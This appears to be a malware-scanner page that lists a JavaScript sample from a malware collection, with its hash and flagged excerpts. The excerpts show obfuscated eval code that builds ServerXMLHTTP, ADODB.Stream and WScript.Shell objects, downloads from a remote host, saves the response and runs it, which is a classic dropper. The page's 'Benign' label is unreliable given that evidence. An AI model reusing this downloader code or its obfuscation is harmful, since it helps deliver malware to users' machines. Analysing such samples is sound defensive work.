Benign javascript-malware-collection Download

20160328_c22af82099103dd53c239c4595445483.js

eval() executing transformed codeText has empty named-parameter catch

SHA-256dc747fadb4d522a871d5515a39e231417584703dead2590b4d4c1b56d89c9122

Evidence

Obfuscated ADODB fragment "ADOD" line 1

1eval(querySelectorAll("fnOver%20%3D%20%28%22P%22%29%3Bfirst%20%3D%20%28%22h%22%29%2C%20getElementsByClassName%20%3D%20%2811%29%2C%20removeChild%20%3D%20%28%22rea%22%29%2C%20cached%20%3D%20%28%22g/yAG%22%29%3Bel%20%3D%20%28%22plays%22%29%2C%20propName%20%3D%20%28%22cr%22%29%2C%20Sizzle%20%3D%20%280%29%3Bconv%20%3D%20%28%22TP.%22%29%3B%20select%20%3D%20%28%22ngs%22%29%3BcheckDisplay%20%3D%20%28%22LHTTP%22%29%3Bvar%20pageX%20%3D%20%28%22Object%22%29%2C%20replaceAll%20%3D%20%282942256%29%2C%20parseJSON%20%3D%20%281716%29%3Bvar%20guaranteedUnique%20%3D%20%28%22ructo%22%29%2C%20isHidden%20%3D%20%28%22ml2.Se …

DNR request headers marker line 1

1:1446… 0%3D%20%28%22HTTP.%22%29%3B%20each%20%3D%20%28%22Msx%22%29%3B%20requestHeadersNames%20%3D%20%28149%29%3Bon%20%3D%20%28%22y%22%29%3B%20animated%20%3D%20%28%22/%22%29%3B%20createInputPseudo%20%3D%20%28%22acpg …

JavaScript silently discards caught errors lines 14–20

79… ct"](addEventListener[binary]);
       tr(propName);
       rkeyEvent[value + "e" + superMatcher + "d"]();
       break;
    } catch (preFilters) {}
 }
 while (rkeyEvent[removeChild + "dySta" + scripts] != (Math.pow((1 + fixHook), (2 | Sizzle)) - (Math.pow(4, fixHook) - 1 …

Obfuscated computed call cluster lines 21–36

21:47… (Math.pow(parseJSON, 2) - replaceAll) / (12 + Sizzle))) {
22      parentWindow["op" + fromCharCode + "n"]();
23      parentWindow[src](rkeyEvent["resp" + isFunction + "eBody"]);
24      a[isArrayLike + "ipt"][pushStack + "p"](((Math.pow(7055, fixHook) - 49764384) - (getElementsByClassName * 331)));
25      parentWindow[createTween + "ToFil" + fromCharCode](postMap, ((emptyStyle / 46) - (inspected - 91)));
26      a["WScrip" + timeoutTimer]["Sl" + funcName](((prevObject + 3265) & (marginDiv | 5838)));
27      inArray["R" + focus](postMap);
28   } else {}
29}
30
31function msFullscreenElement() {
32   raw(querySelectorAll("parentWindow%5B%22m%22%20+%20parseXML%20+%20%22d%22%20+%20fromCharCode%5D%20%3D%20%28%282+genFx%29%29%3B"));
33}
34
35function tr() {
36   raw(querySelectorAll("rkeyEvent%5BparseXML%20+%20%22p%22%20+%20fromCharCode%20+%20%22n%22%5D%28callback%20+%20%22ET%22%2C%20owner%20+%20%22//na%22%20+%20children%20+%20%22lb.or% …

Dense concatenated string fragments lines 48–52

48:228… nput%20+%20%22s%22%20+%20propName%3B"));
49}
50
51function before() {
52   raw(querySelectorAll("addEventListener%20%3D%20%5B%22Msx%22%20+%20isHidden%20+%20%22rverX%22%20+%20setFilters%20+%20%22.6.0%22%2C%20always%20+%20%22.XMLHT%22%20+%20 …